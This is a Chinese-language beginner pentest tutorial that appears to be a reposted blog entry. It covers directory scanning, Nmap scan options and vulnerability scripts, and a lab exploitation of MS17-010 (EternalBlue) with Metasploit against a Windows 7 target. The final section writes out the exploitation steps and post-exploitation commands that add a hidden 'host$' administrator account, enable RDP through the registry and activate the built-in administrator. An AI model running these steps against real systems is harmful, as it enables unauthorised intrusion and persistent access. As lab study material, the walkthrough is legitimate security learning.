【滲透測試小白系列】之目錄掃描、Nmap的使用及使用Metasploit通過MS17-010獲取系統權限


(本文僅為平時學習記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

 

一、定義

目錄掃描:掃描站點的目錄,尋找敏感文件(目錄名、探針文件、后台、robots.txt、備份文件)

  • 目錄:站點結構,權限控制不嚴格(列目錄)

  • 探針文件:服務器配置信息,phpinfo.php、readme.txt、config.txt
  • 后台:登錄管理整個網站的入口,inurl:admin.php、inurl:admin.asp
  • robots.txt:一般存放在站點根目錄,如果管理員對於robots.txt文件管理不合理,就會造成信息泄露
  • 備份文件:數據庫備份文件、網站備份文件等  .bak  .zip  www.rar

 

二、掃描工具

1.御劍后台掃描工具:

2.DirBuster:需要依賴Java的配置環境

  • 原理:使用字典,做請求

3.Nmap

 

三、Nmap

1.定義

Nmap:最早是Linux中的掃面和嗅探工具,網絡連接掃描工具,主要負責探測主機存活(是否開機)、開啟服務(掃端口)、安全性問題(高級用法//script)、系統類型(OS類型)

2.安裝Nmap需要配置環境變量

3.命令行模式的用法:

1 nmap -h 幫助信息 2 nmap 目標IP  掃描單個IP

  • 狀態:
狀態 含義

open

開啟

closed

關閉

filtered

數據包被過濾,探測包被攔截,無法定位端口

是否開啟

unfiltered

數據包未過濾,探測包沒有被攔截,

nmap無法判斷該端口是否開啟

open|filtered

開放或者被過濾

closed|filtered

關閉或者被過濾

nmap 192.168.211.0/24  掃描整個網段

  • Nmap的用法
1 nmap 192.168.1.10-200  掃描指定網段的網絡
2 nmap 192,168.1.10,100,200-230  掃描10,100200-230的網絡
3 nmap 192.168.1.0/24 10.10.10.0/24  掃描不同網段
4 nmap -iL filename 掃描目標文件
5 nmap -iR  隨機選擇目標去探測
6 nmap -sS -PS80 -iR 0(無休止去掃描) -p80
7 nmap 192.168.1.0/24 --exclude 192.168.1.1,255(廣播包),4-20  排除某些指定的IP去掃描
8 nmap -iL filename1 --excludefile filename2  其中filename1是需要掃描的,filename2不需要掃描

4.帶有參數的掃描:

nmap -sT 192.168.1.1  使用TCP全連接方式,掃描過程需要三次握手,和端口建立連接,建立連接,說明端口開放,但是掃描速度慢

1 nmap -sN 192.168.1.1 = nmap 192.168.1.1  NULL掃描,發出的數據包不設置任何的標識位
2 nmap -p3306,5432 192.168.1.1  掃描指定端口
3 nmap -p- = -p1-65535  掃描所有端口
4 nmap -sV 192.168.1.1  探測服務版本

1 nmap 192.168.1.1 >./re.txt  將掃描結果重定向到re.txt中
2 nmap 192.168.1.1 -oX ./Desktop/re.xml  將掃描結果寫進re.xml中

  • 用瀏覽器打開re.xml,可以看到NMAP的掃描報告

nmap -A 192.168.1.1  獲取目標所有的詳細結構,全面掃描

nmap -O 192.168.1.1  探測操作系統類型

nmap --script  使用腳本去探測漏洞,后跟腳本
  • Nmap自帶的腳本

1 nmap --script smb-vuln-ms17-010 192.168.1.1  探測永痕之藍
2 nmap --script smb-check-vulns 192.168.1.1  MS08-067,探測MSP的溢出漏洞
3 nmap --script ssl-heartbleed 192.168.1.1  探測心臟滴血 

 

四、使用Nmap掃描kali服務器

1.查看kali服務器與宿主機的連通性

2.要使用Nmap掃描kali服務器,就要開啟kali中的WEB、SSH、PostgreSQL、MySQL、Samba、VSFTP服務

1 /etc/init.d/apache2 start 啟動HTTP服務 2 /etc/init.d/apache2 status  查看HTTP服務狀態

/etc/init.d/ssh status  查看SSH服務狀態

1 /etc/init.d/postgresql start 啟動PostgreSQL服務 2 /etc/init.d/postgresql status  查看PostgreSQL服務狀態

1 /etc/init.d/mysql start 啟動MySQL服務 2 /etc/init.d/mysql status  查看MySQL服務狀態

apt install samba  安裝Samba

1 /etc/init.d/smbd start 開啟Samba服務 2 /etc/init.d/smbd status  查看Samba服務狀態

apt install vsftpd  安裝Vsftp服務

1 /etc/init.d/ vsftpd start 開啟Vsftp服務 2 /etc/init.d/ vsftpd status  查看Vsftp服務狀態

netstat -ntulp|grep smbd 查看Smbd服務的端口狀態 netstat -ntulp|grep 3306 查看MySQL服務的端口狀態 netstat -ntulp|grep 5432  查看PostgreSQL服務的端口狀態

3.使用Nmap掃描kali服務器

1 nmap kali服務器的IP  掃描kali服務器
2 nmap -p5432 kali服務器的IP  掃描5432端口信息,即PostgreSQL服務信息
3 nmap -p3306 kali服務器的IP  掃描3306端口信息,即MySQL服務信息

  • 下圖可以看到,掃描結果顯示5432端口和3306端口是關閉狀態,因為MySQL不允許外聯

 

五、使用kali中的Metasploit通過MS17-010永痕之藍獲取系統權限

攻擊者:kali服務器

靶機:Windows 7 系統

1.關閉Win7系統中的防火牆,並查看攻擊者與靶機的連通性

2.查看kali中是否有smb-vuln-ms17-010.nse的腳本,開啟kali中的postgresql數據庫並使用nmap --script參數調用smb-vuln-ms17-010.nse腳本檢測MS17-010漏洞

1 whereis nmap  查找Nmap的位置
2 cd /usr/share/nmap  進入Nmap
3 cd scripts/  進入Nmap存放腳本的文件
4 find . -name /*smb*/  查找永痕之藍
  • /usr/bin 里面裝着二進制文件 相當於快捷方式

  • vulnerable表示有漏洞,受威脅,Risk factor: High表示風險高;not vulnerable無漏洞
  • 這里檢測出了ms17-010漏洞

3.這里先介紹幾個在Metasploit中經常會用到的工具

1 cd /usr/share/metasploit-framework
2 cd modules

  • auxiliary:輔助模塊
  • encoders:供Msfencode編碼工具使用,具體可使用msfencode -l
  • exploits:攻擊模塊,每個介紹msf的文章都會提到那個ms08_067_netapi,它就在這個目錄
  • payloads:這里面列出的是攻擊載荷,也就是攻擊成功后執行的代碼。比如我們常設置的windows/meterpreter/reverse_tcp就在這個文件夾下。
  • post:后滲透階段模塊,在獲得meterpreter的shell之后可以使用的攻擊代碼。比如常用的hashdump,arp_scanner就在這里

(常用工具知識點出自CSDN博主「the__apollo」,原文鏈接:https://blog.csdn.net/the__apollo/article/details/70475962十分詳細,感謝!)

4.在上面使用Nmap時檢測出了ms17-010漏洞,開啟Metasploit並使用Metasploit查找滲透模塊

1 Metasploit  開啟Msf
2 search 17-010  搜索cve(漏洞編號前綴)17-010相關的EXP(漏洞利用腳本)

  • auxiliary/scanner/smb/smb_ms17_010  scanner和nmap一樣:掃描漏洞是否存在

  • exploit/windows/smb/ms17_010_eternalblue  用來做攻擊的EXP

5.探測漏洞是否存在

1 use auxiliary/scanner/smb/smb_ms17_010  探測漏洞是否存在
2 show options  查看所需設置的參數

6.上圖可以看到RHOST(遠程IP地址)還沒有設置,設置遠程地址,並運行攻擊測試

1 set rhosts 192.168.1.0/24  設置遠程IP為靶機的整個網段
2 run  運行攻擊測試

  • 下圖可以看到,在掃描的全部網段中,可探測到目標IP存在漏洞

7.使用攻擊模塊,設置遠程地址,並運行攻擊測試

8.攻擊成功,進行測試,並在靶機里加入一個隱藏用戶(隱藏用戶后面加$),提升隱藏用戶的權限,方便我們后續的操作測試

1 net user host$  host$的密碼 /add  添加隱藏用戶host$
2 net localgroup administrators host$ /add  將host$用戶加入到管理員組中,從而提升權限
3 net user host$  查看host$用戶信息

9.查看Windows遠程桌面的服務端口是否開啟

1 netstat -ano|findstr 3389  查看遠程桌面端口狀態
2 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f  開啟終端服務
3 net user administrator /active:yes  激活管理員用戶

10.新開一個終端,使用遠程桌面連接的靶機,進行操作

1 rdesktop 靶機的IP  使用遠程桌面連接靶機

  • 連接靶機,連接成功,進入以下界面,是用隱藏用戶登錄靶機,攻擊成功!!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM